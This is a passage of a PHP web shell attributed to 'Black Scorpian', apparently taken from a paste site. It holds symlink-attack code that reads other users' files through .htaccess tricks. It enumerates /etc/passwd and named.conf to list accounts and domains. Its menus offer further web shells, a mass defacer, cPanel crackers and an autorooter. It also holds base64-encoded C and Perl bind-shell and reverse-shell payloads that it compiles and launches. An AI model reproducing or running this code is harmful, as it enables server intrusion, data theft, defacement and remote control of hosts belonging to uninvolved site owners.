  3215. $plsym = "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";
  3216.  
  3217. $lelwasym = gzuncompress(base64_decode($plsym));
  3218. $fp1212 = fopen('sym.pl','w');
  3219. $fw11111 = fwrite($fp1212,$lelwasym);
  3220. @fclose($fw11111);
  3221. chmod("sym.pl",0755);
  3222. ?><br><center><iframe src="sym.pl" height="400" class="button" width="600"></iframe></center><?php }
  3223. if(isset($_POST['p1']) && $_POST['p1']=='phpsym')
  3224. {
  3225.  
  3226.  
  3227. error_reporting(0);
  3228. ob_start();
  3229.  
  3230. $dir = "sec1";
  3231. @mkdir($dir);
  3232. if($dir){
  3233. } else {
  3234. }
  3235. $dir2 = "sec2";
  3236. @mkdir($dir2);
  3237. if($dir2){
  3238. } else {
  3239. }
  3240. $dir3 = "sec3";
  3241. @mkdir($dir3);
  3242. if($dir3){
  3243. } else {
  3244. }
  3245. $dir4 = "sec4";
  3246. @mkdir($dir4);
  3247. if($dir4){
  3248. } else {
  3249. }
  3250. $dir5 = "sec5";
  3251. @mkdir($dir5);
  3252. if($dir5){
  3253. } else {
  3254. }
  3255. $dir6 = "sec6";
  3256. @mkdir($dir6);
  3257. if($dir6){
  3258. } else {
  3259. }
  3260. $dir7 = "sec7";
  3261. @mkdir($dir7);
  3262. if($dir7){
  3263. }
  3264. else {
  3265. }
  3266.  
  3267.  
  3268.  
  3269. $sec1 = "sec1/.htaccess";
  3270. $hsec1 = fopen($sec1, 'w') or die("Error: Can't open file");
  3271. $con1 = "Options Indexes FollowSymLinks
  3272. DirectoryIndex ssssss.htm
  3273. AddType txt .php
  3274. AddHandler txt .php
  3275. AddType txt .html
  3276. AddHandler txt .html
  3277. Options all
  3278. Options
  3279. Allow from all
  3280. Require None
  3281. Satisfy Any";
  3282. fwrite($hsec1, $con1);
  3283. fclose($hsec1);
  3284.  
  3285.  
  3286.  
  3287. $sec2 = "sec2/.htaccess";
  3288. $hsec2 = fopen($sec2, 'w') or die("Error: Can't open file");
  3289. $con2 = "Options +FollowSymLinks
  3290. DirectoryIndex seees.html
  3291. RemoveHandler .php
  3292. AddType application/octet-stream .php ";
  3293. fwrite($hsec2, $con2);
  3294. fclose($hsec2);
  3295.  
  3296.  
  3297. $sec3 = "sec3/.htaccess";
  3298. $hsec3 = fopen($sec3, 'w') or die("Error: Can't open file");
  3299. $con3 = "Options +FollowSymLinks
  3300. DirectoryIndex Index.html
  3301. Options +Indexes
  3302. AddType text/plain .php
  3303. AddHandler server-parsed .php";
  3304. fwrite($hsec3, $con3);
  3305. fclose($hsec3);
  3306.  
  3307. $sec4 = "sec4/.htaccess";
  3308. $hsec4 = fopen($sec4, 'w') or die("Error: Can't open file");
  3309. $con4 = "Options Indexes FollowSymLinks
  3310. DirectoryIndex ssssss.htm
  3311. AddType txt .php
  3312. AddHandler txt .php";
  3313. fwrite($hsec4, $con4);
  3314. fclose($hsec4);
  3315.  
  3316. $sec5 = "sec5/.htaccess";
  3317. $hsec5 = fopen($sec5, 'w') or die("Error: Can't open file");
  3318. $con5 = "Options all
  3319. DirectoryIndex Sux.html
  3320. AddType text/plain .php
  3321. AddHandler server-parsed .php
  3322. AddType text/plain .html";
  3323. fwrite($hsec5, $con5);
  3324. fclose($hsec5);
  3325.  
  3326.  
  3327. $sec6 = "sec6/.htaccess";
  3328. $hsec6 = fopen($sec6, 'w') or die("Error: Can't open file");
  3329. $con6 = "Options +FollowSymLinks
  3330. DirectoryIndex Sux.html
  3331. Options +Indexes
  3332. AddType text/plain .php
  3333. AddHandler server-parsed .php
  3334. AddType text/plain .html";
  3335. fwrite($hsec6, $con6);
  3336. fclose($hsec6);
  3337.  
  3338. $sec7 = "sec7/.htaccess";
  3339. $hsec7 = fopen($sec7, 'w') or die("Error: Can't open file");
  3340. $con7 = "Options Indexes FollowSymLinks
  3341. AddType text/plain .php .inc .asp .php3
  3342. Options All
  3343. Options All";
  3344. fwrite($hsec7, $con7);
  3345. fclose($hsec7);
  3346.  
  3347.  
  3348.  
  3349. for ($k=1;$k<8;$k++){
  3350. if("$fp$k"){
  3351. chdir('sec'.$k);
  3352. system('ln -s / 1.txt');
  3353. chdir('../');
  3354. }
  3355. else{ echo "Error";
  3356. }
  3357. }
  3358.  
  3359. echo "<center><table border='1' align='center' width='80%'><h3><td><a>User</td></a><td><a>Sym</a></td></h3></center>";
  3360. $file = file('/etc/passwd');
  3361. if(!$file)
  3362. {
  3363.  
  3364. die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
  3365. }
  3366. else
  3367. {
  3368. foreach ($file as $f){
  3369.  
  3370. $u=explode(':', $f);
  3371. $user = $u['0'];
  3372. echo "<tr><td>".$user."</td><td><a href='sec1/1.txt/home/".$user."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user."/public_html/' >Sym7</a></td></tr>";
  3373. }
  3374. }
  3375. }
  3376.  
  3377.  
  3378. if(isset($_POST['p1']) && $_POST['p1']=='phpsym1')
  3379. {
  3380.  
  3381.  
  3382. echo "<center><table border='1' align='center' width='80%'><h3><td><a>Domains</td></a><td><a>User</a></td><td><a>Sym</a></td></h3></center>";
  3383. if(!is_file('DATA.txt')){
  3384. $named = @file("/etc/named.conf");
  3385. }else{
  3386. $named = @file("DATA.txt");
  3387. }
  3388. if(!$named)
  3389. {
  3390.  
  3391. die ("</br></br><center><h2><a>ERROR !</a></h2></center>");
  3392. }
  3393. else
  3394. {
  3395. foreach($named as $dom){
  3396. preg_match_all('#zone "(.*)"#', $dom, $doms);
  3397. if(strlen(trim($doms[1][0])) > 2){
  3398. $user = posix_getpwuid(@fileowner("/etc/valiases/".$doms[1][0]));
  3399. echo "<tr><td><a href=http://www.".$doms[1][0]."/>".$doms[1][0]."</a></td><td><a>".$user['name']."</a></td><td><a href='sec1/1.txt/home/".$user['name']."/public_html/' >Sym1</a>~<a href='sec2/1.txt/home/".$user['name']."/public_html/' >Sym2</a>~<a href='sec3/1.txt/home/".$user['name']."/public_html/' >Sym3</a>~<a href='sec4/1.txt/home/".$user['name']."/public_html/' >Sym4</a>~<a href='sec5/1.txt/home/".$user['name']."/public_html/' >Sym5</a>~<a href='sec6/1.txt/home/".$user['name']."/public_html/' >Sym6</a>~<a href='sec7/1.txt/home/".$user['name']."/public_html/' >Sym7</a></td></tr>";
  3400. }
  3401. }
  3402. }
  3403. } printFooter();
  3404. }
  3405.  
  3406. function actionImportScripts() {
  3407. printHeader();
  3408. echo '<center><br><h1>Shells By Black Scorpian</h1></center><div class="content">
  3409. <br>
  3410. <table border="1%" align="center" cellpadding="10">
  3411. <tr>
  3412. <td>Click And Get The Shells</td>
  3413. <tr><td>
  3414. <form action="" method="post">
  3415. <input type = "submit" name="dhanush" value ="Dhanush Shell">
  3416. </td></tr>
  3417. <tr><td>
  3418. <form action="" method="post">
  3419. <input type = "submit" name="anonghosts" value ="AnonGhosts Shell"></td></tr>
  3420. <tr><td>
  3421. <form action="" method="post">
  3422. <input type = "submit" name="blackhat" value ="BlackHat Shell"></td></tr>
  3423. <tr><td>
  3424. <form action="" method="post">
  3425. <input type = "submit" name="imageshell" value ="Black Scorpion Image Shell"></td></tr>
  3426. <tr><td>
  3427. <form action="" method="post">
  3428. <input type = "submit" name="madspot" value ="Madspot Shell"></td></tr>
  3429. <tr><td>
  3430. <form action="" method="post">
  3431. <input type = "submit" name="pcd" value ="Pak Cyber Defenders Shell"></td></tr>
  3432. <tr><td>
  3433. <form action="" method="post">
  3434. <input type = "submit" name="cheta" value ="Kashimiri Cheetah Shell"></td></tr>
  3435. <tr><td>
  3436. <form action="" method="post">
  3437. <input type = "submit" name="1337worm" value ="1337 Worm Shell"></td></tr>
  3438. <tr><td>
  3439. <form action="" method="post">
  3440. <input type = "submit" name="b374k" value ="b374k Shell"></td></tr>
  3441. <tr><td>
  3442. <form action="" method="post">
  3443. <input type = "submit" name="wso" value ="Wso shell"></td></tr></div>
  3444. <tr><td>
  3445. <form action="" method="post">
  3446. <input type = "submit" name="joker" value ="Joker Shell"></td></tr></div>';
  3447.  
  3448.  
  3449.  
  3450.  
  3451.  
  3452.  
  3453. printFooter();
  3454. }
  3455.  
  3456. function actionImportTools () {
  3457. printHeader();
  3458. echo '<center><h1>Tools By Black Scorp</h1></center><div class="content">
  3459. <br>
  3460. <table border="1%" align="center" cellpadding="10">
  3461. <tr>
  3462. <td>Just Click And Get The Tools</td>
  3463. <tr><td>
  3464. <form action="" method="post">
  3465. <input type = "submit" name="symlinker" value ="Devil killer symlinker"></td></tr>
  3466. <tr><td>
  3467. <form action="" method="post">
  3468. <input type = "submit" name="mass" value ="Wordpress Mass Defacer"></td></tr>
  3469. <tr><td>
  3470. <form action="" method="post">
  3471. <input type = "submit" name="zone" value ="Zone-h Mass Notifier"></td></tr>
  3472. <tr><td>
  3473. <form action="" method="post">
  3474. <input type = "submit" name="anoncmd" value ="AnonGhosts Console"></td></tr>
  3475. <tr><td>
  3476. <form action="" method="post">
  3477. <input type = "submit" name="madleets" value ="Madleets Console"></td></tr>
  3478. <tr><td>
  3479. <form action="" method="post">
  3480. <input type = "submit" name="rooter" value ="Autorooting Perl Script"></td></tr>
  3481. <tr><td>
  3482. <form action="" method="post">
  3483. <input type = "submit" name="cpc1" value ="Advance Control Panel Cracker"></td></tr>
  3484. <tr><td>
  3485. <form action="" method="post">
  3486. <input type = "submit" name="cpc" value ="Control Panel Cracker"></td></tr></div>';
  3487. printFooter();
  3488. }
  3489.  
  3490. function actionpriv8 () {
  3491. printHeader();
  3492. echo '<center><h1>Priv8 Tools By Black Scorp</h1></center><div class="content">
  3493. <br>
  3494. <table border="1%" align="center" cellpadding="10">
  3495. <tr>
  3496. <td>Just Click And Get The Tools</td>
  3497. <tr><td>
  3498. <form action="" method="post">
  3499. <input type = "submit" name="jumping" value ="Server Jumping"></td></tr>
  3500. <tr><td></div>';
  3501. printFooter();
  3502. }
  3503.  
  3504. function actionBackConnect() {
  3505. printHeader();
  3506. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  3507. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  3508. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  3509. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  3510.  
  3511. echo '<center><h1>Network tools</h1></center><div class=content>
  3512. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  3513. <br /><span>Bind port to /bin/sh</span><br/>
  3514. Port: <input type=\'text\' name=\'port\' value=\'110\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  3515. </form>
  3516. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  3517. <br /><br /><span>Back-connect to</span><br/>
  3518. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'110\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  3519. </form><br>';
  3520. if(isset($_POST['p1'])) {
  3521. function cf($f,$t) {
  3522. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  3523. if($w) {
  3524. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  3525. @fclose($w);
  3526. }
  3527. }
  3528. if($_POST['p1'] == 'bpc') {
  3529. cf("/tmp/bp.c",$bind_port_c);
  3530. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  3531. @unlink("/tmp/bp.c");
  3532. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  3533. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  3534. }
  3535. if($_POST['p1'] == 'bpp') {
  3536. cf("/tmp/bp.pl",$bind_port_p);
  3537. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  3538. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  3539. }
  3540. if($_POST['p1'] == 'bcc') {
  3541. cf("/tmp/bc.c",$back_connect_c);
  3542. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  3543. @unlink("/tmp/bc.c");
  3544. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  3545. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  3546. }
  3547. if($_POST['p1'] == 'bcp') {
  3548. cf("/tmp/bc.pl",$back_connect_p);
  3549. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  3550. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  3551. }
  3552. }
  3553. echo '</div>';
  3554. printFooter();
  3555. }
  3556.  
  3557.  
  3558. function actionReadable() {
  3559. printHeader();
  3560. echo '<h1>Readable Dirs</h1>';
  3561. echo '<div class="content">';
  3562. $sm = ini_get('safe_mode');
  3563. if($sm) {
  3564. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  3565. } else {
  3566. @$passwd = file('/etc/passwd','r');
  3567. if (!$passwd) {
  3568. echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  3569. } else {
  3570. $pub = array();
  3571. $users = array();
  3572. $conf = array();
  3573. $i = 0;
  3574. foreach($passwd as $p) {
  3575. $r = explode(':',$p);
  3576. $dirz = $r[5].'/public_html/';
  3577. if(strpos($r[5],'home')) {
  3578. array_push($users,$r[0]);
  3579. if (is_readable($dirz)) {
  3580. array_push($pub,$dirz);
  3581. }
  3582. }
  3583. }
  3584. echo '<br><br>';
  3585. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  3586. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  3587. foreach ($pub as $user) {
  3588. echo $user."<br>";
  3589. }
  3590. echo "<br /><br /><br />[+] Complete...\n"."<br />";
  3591. }
  3592. }
  3593. echo '</div>';
  3594. printFooter();
  3595. }
  3596.  
  3597.  
  3598.  
  3599. function actionInjector(){
  3600. printHeader();
  3601. $rev = "3Rlpbxu59bML9D/QQDZjozOS7XS3WxlG6thK4tZXLSVpsFkI9MyThqsROSEpydoi/72Px1yyNHHyrRs4No93X3zkPM/08e75zdnw422fpHqWPZ/o4z//6TkumxnJKJ+cPP88F/oYuPvrIHYsCNDET+1cM52BWbiDBbmiSpEzkQC54L9BrIUk7486BwauWwIWmDPQlMQplQq05/du+Dr62Q1J9xFsqnUewec5W3hwCWMJKvUIseAaeEGqEtzg70YRGaZMkQ8sy8idwyO3dALkdKxBkv4C5IqMRiMyACSUKBJFjwTgdAYl6wVTTEfUYG8U4MVPBwdbValRMuaeoyAbiRQO2ECiCch4Ag/hWGSZWIY0yzxajc9EiEkG90K3CxXQuU6FDEr6gTG76nW7y+WyM6YxkhDTTixm3VN+wDsvHm4zwYZwF7TIGEyAg6RZ4HlIqhmftGLkdMqUprxAmYDo5BmyN9N2XlbRCs9w1kajFpzKcAXeTHG01Tci0QweaB2N+H+bHO8MvdHtxrKktGxI3s2oJKdyDMDJIKVp04VtTDCsFRN8IxeTmU8mlICKJcv1NmKvMdeZTXr0LNEp4D7WgZWYkwldAO4RsDk2ZhkQMbYgE7ZAjRImny7HFFZLIRO1UQhXdVDEkNiE6ORpHpKhENlTMrEG1yR7RVGTVyvSdAvp7T+F6gchp2iSjYTbauYTSNsiBMm3kg7J0Y/RwWF0dHD4t6cX2/9E706jMzHLMXfvs83l6qIfQVKWslbZFwyWuZB6I50lS3R6kqB6MUR2YhzKNKNZpGLMspPDr1QxBVTGKQE+YRxUrZqdAluy8NQkKv7Ohil8gHscafre1Jvw9ObyGvQYwyc85b8vMX3CM8ppQsNzJtGGb5kO+3MpBgDTsP8QMw3hDQa2nksI3wj8MdUnfCv0K6HR7mNxRafhvygXIsH1y1UsVHhF4xTlGhjka2oClmbE0RdyFV6jXVKQnFyySarDgdXlAgdslmfgpiGKra6E0peMTyEx06HIww8p1dG7yEqHqoQfaSqE2TyTdJmBDI1Eqib7FR49GZ5B4SWW9QHWGR3eY7iGZ9f9oVfmcR3E47QYuqpAilPMO/CfdEHdzmHnqNFD7OyM59zmKCH8NzXiIpGC6b198l+7u4PelZrsOaRzrBmZyCF5nH4OYP94AxZ6MxXzSYpHPkg84fH/tcBEyFfSGFS1oL6aa/IRaxbi8ECTwTzP0VwJ1hCLT65WLqF60X4LlTfCUpHkIu/ZKvYSCxGBOBXk2WjQv3vfv/sluOtf3Qz7o9Pz87vg12Py0hiIUJ4QCSYxkKkWrTpLwKDjZEwzBW7pC0lEPJ9hoHcEtyH/oHE2Jyd1W5du7DoXFZ5pdjxKr6p+bedeJKvCQ/c0nk6kmPMkikUmZI/c48E89VJhCGHORVqg6keL1Atmf3dM82iOB0/IY0tIPO4YRY7GdMayVQ/tPGMxGVCuyJXyAEahiGZswnsEWwHsveqYiv0OPfLi4OCHBlc1v9/MeJliBjyJcptMNdaH66wTihXpe5l6mkcFza+K4pgynmMQfy/TJZgUQZeKLDkmG/jGc+woFgWxezyLQUYZjHUzDPyG9NQe79j46hEMJFFR2xJZpKaeggzL5B9Lv5p6wrZYfyz16u4z4lMJbVnx/6GI6S3xFjnPtPqaLuvF4fvrnGc9FsJcWlvL6DdXj+2RhUcgM1HZw+b9oeTibH2QPxTHkTNxtYB9gxYzLMjFipN+3fWV3FaABO/fkjp2XHBooPZSdNK64hpoVoNyJ1vt9LILtXcLMzfnWf20S9iCxBn2y76B8QfGWutiII0Z3XvH+9b3jgKuFAlZtHGsTqkWplZ0aUb2NcPcWNyThuNPXmGUJgLFsELhX+yA3Ng0NRbyDSYNXl1IRQqR/fvHa3M3uxlbrDf2blY2paR3XmFUI98rkbO5xI5JZysk1mt2PF4dOsuP+b3K/ctMZwI6XiZ7+77z+S6bmeO1+dDjpKrZTc4Ite1m412I4FUhFYlfu70ZDDcY3ajgAu0Z9lJKoG1OSOBeytweG5M9phTovWeju/6/3/UHw1/iWfLr